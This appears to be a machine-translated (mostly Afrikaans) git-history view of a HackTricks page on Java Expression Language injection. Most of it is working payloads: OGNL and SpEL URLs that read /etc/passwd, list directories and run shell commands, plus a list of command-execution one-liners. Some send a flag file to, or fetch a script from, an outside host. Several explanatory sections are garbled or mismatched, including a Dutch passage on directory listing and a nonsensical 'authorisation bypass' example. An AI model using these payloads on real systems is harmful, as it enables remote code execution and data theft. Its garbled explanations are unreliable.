hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md

292 lines
17 KiB
Markdown
Raw Normal View History

2024-02-11 02:07:06 +00:00
# EL - Uitdrukkings Taal
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
* Werk jy in 'n **cybersecurity maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
## Basiese Inligting
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Uitdrukkings Taal (EL) is integraal in JavaEE vir die oorbrugging van die aanbiedingslaag (bv. webbladsye) en die toepassingslogika (bv. bestuurde bone), wat hul interaksie moontlik maak. Dit word hoofsaaklik gebruik in:
2021-06-26 13:01:09 +00:00
2024-02-11 02:07:06 +00:00
- **JavaServer Faces (JSF)**: Vir die koppeling van UI-komponente aan agterste data/aksies.
- **JavaServer Pages (JSP)**: Vir data-toegang en manipulasie binne JSP-bladsye.
- **Contexts and Dependency Injection for Java EE (CDI)**: Vir die fasilitering van weblaag interaksie met bestuurde bone.
2021-06-26 13:01:09 +00:00
2024-02-11 02:07:06 +00:00
**Gebruikskontekste**:
2021-06-26 13:01:09 +00:00
2024-02-11 02:07:06 +00:00
- **Spring Framework**: Toegepas in verskeie modules soos Security en Data.
- **Algemene Gebruik**: Deur SpEL API deur ontwikkelaars in JVM-gebaseerde tale soos Java, Kotlin en Scala.
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
EL is teenwoordig in JavaEE-tegnologieë, losstaande omgewings, en herkenbaar deur `.jsp` of `.jsf` lêeruitbreidings, stapfoute, en terme soos "Servlet" in koppe. Die kenmerke en die gebruik van sekere karakters kan egter afhang van die weergawe.
2021-06-07 09:30:58 +00:00
{% hint style="info" %}
2024-02-11 02:07:06 +00:00
Afhanklik van die **EL-weergawe** kan sommige **kenmerke** **Aan** of **Af** wees en gewoonlik kan sommige **karakters** verbode wees.
2021-06-07 09:30:58 +00:00
{% endhint %}
2024-02-11 02:07:06 +00:00
## Basiese Voorbeeld
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
(Jy kan 'n ander interessante tutoriaal oor EL vind in [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
Laai die jar-lêers af van die [**Maven**](https://mvnrepository.com)-bewaarplek:
2021-06-07 09:30:58 +00:00
2022-04-05 22:24:52 +00:00
* `commons-lang3-3.9.jar`
2021-06-07 09:30:58 +00:00
* `spring-core-5.2.1.RELEASE.jar`
2022-04-05 22:24:52 +00:00
* `commons-logging-1.2.jar`
2021-06-07 09:30:58 +00:00
* `spring-expression-5.2.1.RELEASE.jar`
2024-02-11 02:07:06 +00:00
En skep die volgende `Main.java`-lêer:
2021-06-07 09:30:58 +00:00
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Main {
2024-02-11 02:07:06 +00:00
public static ExpressionParser PARSER;
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
```
Voltooi die kode (as jy nie `javac` geïnstalleer het nie, installeer `sudo apt install default-jdk`):
2021-06-07 09:30:58 +00:00
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
2024-02-11 02:07:06 +00:00
Voer die toepassing uit met:
2021-06-07 09:30:58 +00:00
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
2024-02-11 02:07:06 +00:00
Merk op hoe in die vorige voorbeeld die term `{5*5}` **geëvalueer** is.
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
## **CVE-gebaseerde Tutoriaal**
2021-06-26 13:01:09 +00:00
2024-02-11 02:07:06 +00:00
Kyk dit na **in hierdie pos: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
2021-06-26 13:01:09 +00:00
2024-02-11 02:07:06 +00:00
## Lading
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
### Basiese aksies
2021-06-07 09:30:58 +00:00
```bash
#Basic string operations examples
{"a".toString()}
[a]
{"dfd".replace("d","x")}
[xfx]
#Access to the String class
{"".getClass()}
[class java.lang.String]
2021-10-21 10:28:49 +00:00
#Access ro the String class bypassing "getClass"
#{""["class"]}
2021-06-07 09:30:58 +00:00
#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]
#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
2024-02-11 02:07:06 +00:00
### Opsporing
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
* Opsporing met Burp
2021-06-07 09:30:58 +00:00
```bash
2024-02-06 14:12:47 +00:00
gk6q${"zkz".toString().replace("k", "x")}doap2
2021-06-07 09:30:58 +00:00
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
2024-02-11 02:07:06 +00:00
* J2EE opsporing
2021-06-07 09:30:58 +00:00
```bash
2024-02-06 14:12:47 +00:00
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
2021-06-07 09:30:58 +00:00
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
2024-02-11 02:07:06 +00:00
* Slaap 10 sekondes
2021-06-07 09:30:58 +00:00
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
2024-02-11 02:07:06 +00:00
### Verre Lêer Insluiting
Remote File Inclusion (RFI) is 'n aanvalstegniek wat gebruik word om 'n webtoepassing te misbruik deur 'n eksterne lêer in te sluit en uit te voer op die bediener. Hierdie aanval maak gebruik van swakheid in die toepassing se kodes wat dit moontlik maak om eksterne lêers in te sluit sonder behoorlike verifikasie. Die aanvaller kan dan kwaadwillige kodes uitvoer wat in die ingeslote lêer ingesluit is.
Die RFI-aanval begin gewoonlik deur die insluiting van 'n eksterne lêer deur die gebruik van 'n URL-parameter. Die aanvaller kan 'n skadelike URL konstrueer wat verwys na 'n lêer op 'n eksterne bediener wat hy beheer. Wanneer die toepassing hierdie URL-parameter verwerk, sal dit die lêer insluit en die kodes daarin uitvoer.
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
Die gevolge van 'n suksesvolle RFI-aanval kan wissel van die uitvoer van skadelike aksies op die bediener, soos die verwydering van lêers of die verkryging van vertroulike inligting, tot die oorname van die hele bediener.
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
Om RFI-aanvalle te voorkom, moet ontwikkelaars behoorlike verifikasie en sanitasie van URL-parameters implementeer. Dit sluit in die beperking van toegang tot slegs toegelate lêers en die gebruik van veilige metodes vir lêerinsluiting, soos relatiewe lêerpadname in plaas van absolute URL's.
2021-06-07 09:30:58 +00:00
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
2024-02-11 02:07:06 +00:00
### Gids van Direktorie
Wanneer een webtoepassing directory listing inschakelt, kan een aanvaller de inhoud van de directory bekijken en mogelijk gevoelige informatie ontdekken. Dit kan leiden tot het blootstellen van bestanden die niet bedoeld zijn om openbaar te zijn, zoals configuratiebestanden, logbestanden en broncodebestanden. Het is belangrijk om directory listing uit te schakelen om dergelijke informatieblootstelling te voorkomen.
#### Detectie
Om te controleren of directory listing is ingeschakeld, kunt u de volgende stappen volgen:
1. Navigeer naar de URL van de directory waarvan u de inhoud wilt controleren.
2. Controleer of de inhoud van de directory wordt weergegeven in de browser.
3. Als de inhoud van de directory wordt weergegeven, betekent dit dat directory listing is ingeschakeld.
#### Uitschakelen van directory listing
Om directory listing uit te schakelen, kunt u de volgende methoden gebruiken, afhankelijk van het webserverplatform:
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
##### Apache
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
Voeg de volgende regel toe aan het `.htaccess`-bestand in de betreffende directory:
```plaintext
Options -Indexes
```
##### Nginx
Voeg de volgende regel toe aan de Nginx-configuratie voor de betreffende serverblok:
```plaintext
autoindex off;
```
##### IIS
1. Open Internet Information Services (IIS) Manager.
2. Navigeer naar de betreffende website en selecteer "Directory Browsing" in het rechterdeelvenster.
3. Klik op "Disable" om directory listing uit te schakelen.
Het is belangrijk om regelmatig te controleren of directory listing is uitgeschakeld om ervoor te zorgen dat gevoelige informatie niet per ongeluk wordt blootgesteld.
2021-06-07 09:30:58 +00:00
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
2022-05-18 13:29:23 +00:00
### RCE
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
* Basiese RCE **verduideliking**
2021-06-07 09:30:58 +00:00
```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]
2021-10-21 10:28:49 +00:00
#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
2022-05-18 13:29:23 +00:00
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
2021-06-07 09:30:58 +00:00
```
2021-06-25 12:34:30 +00:00
* RCE **linux**
2021-06-07 09:30:58 +00:00
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
2024-02-11 02:07:06 +00:00
* RCE **Windows** (nie getoets nie)
2021-06-07 09:30:58 +00:00
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
2024-02-11 02:07:06 +00:00
* **Meer RCE**
2021-06-25 12:34:30 +00:00
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
2021-06-26 14:55:22 +00:00
// Method using Runtime via getDeclaredConstructors
2021-06-25 12:34:30 +00:00
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
2021-06-26 13:01:09 +00:00
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
2021-06-25 12:34:30 +00:00
```
2024-02-11 02:07:06 +00:00
### Inspekteer die omgewing
2021-06-25 12:34:30 +00:00
2024-02-11 02:07:06 +00:00
* `applicationScope` - globale toepassingsveranderlikes
* `requestScope` - versoekveranderlikes
* `initParam` - toepassingsinisialisasie-veranderlikes
* `sessionScope` - sessieveranderlikes
* `param.X` - parametervalue waar X die naam van 'n HTTP-parameter is
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
Jy sal hierdie veranderlikes na 'n string moet omskep soos:
2021-06-07 09:30:58 +00:00
```bash
${sessionScope.toString()}
```
2024-02-11 02:07:06 +00:00
#### Voorbeeld van autorisasie-omleiding
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
```html
${7*7}
```
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
Dit is een eenvoudig voorbeeld van een autorisasie-omleiding. In dit geval wordt de expressie `${7*7}` gebruikt om de uitkomst van de vermenigvuldiging van 7 met 7 weer te geven. Dit kan worden gebruikt om te controleren of de autorisatiecontrole correct is geïmplementeerd. Als de uitkomst van de expressie correct wordt weergegeven, kan dit erop wijzen dat er een kwetsbaarheid is in de autorisatiecontrole van de applicatie.
2021-06-07 09:30:58 +00:00
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
2024-02-11 02:07:06 +00:00
Die toepassing kan ook gebruik maak van aangepaste veranderlikes soos:
2021-06-07 09:30:58 +00:00
```bash
${user}
${password}
${employee.FirstName}
```
2024-02-11 02:07:06 +00:00
## WAF Deurloop
2021-06-07 09:30:58 +00:00
2024-02-11 02:07:06 +00:00
Kyk [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
2022-12-22 10:23:27 +00:00
2024-02-11 02:07:06 +00:00
## Verwysings
2021-06-07 09:30:58 +00:00
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
2021-06-26 14:55:22 +00:00
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
2021-06-26 13:01:09 +00:00
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>